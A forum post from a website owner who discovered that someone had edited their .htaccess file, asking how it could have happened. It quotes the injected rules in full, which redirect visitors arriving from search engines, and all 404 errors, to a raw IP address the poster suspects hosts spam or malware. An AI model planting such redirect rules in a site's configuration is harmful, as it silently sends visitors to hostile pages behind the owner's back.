Ok guys, I'd love to hear thoughts on this one. I had a very strange thing happen to me today. I found out that my .htaccess file had been edited by _someone_ to have this in it:
- RewriteEngine On
- RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
- RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
- RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
- RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
- RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
- RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
- RewriteRule .* http://87.248.180.88/in.html?s=hg [R,L]
- Errordocument 404 http://87.248.180.88/in.html?s=hg_err
I'm not entirely sure what all of that means. However, I now know that all my 404s were getting redirected to 87.248.180.88 (which seems to be spam/virus-ey). I discovered this by almost pure chance. I've alerted my hosting provider, have changed all my passwords, and removed all the code that I could find. However, I'm _very_ curious as to how this got into my .htaccess file.
I would be _very_ surprised if someone had guessed my password since it's rather strong (8+ characters, capitalization thrown in and numbers/special chars).
I'm pretty sure that none of the php scripts on my server have access to this file, but I could be wrong (?).
Any ideas?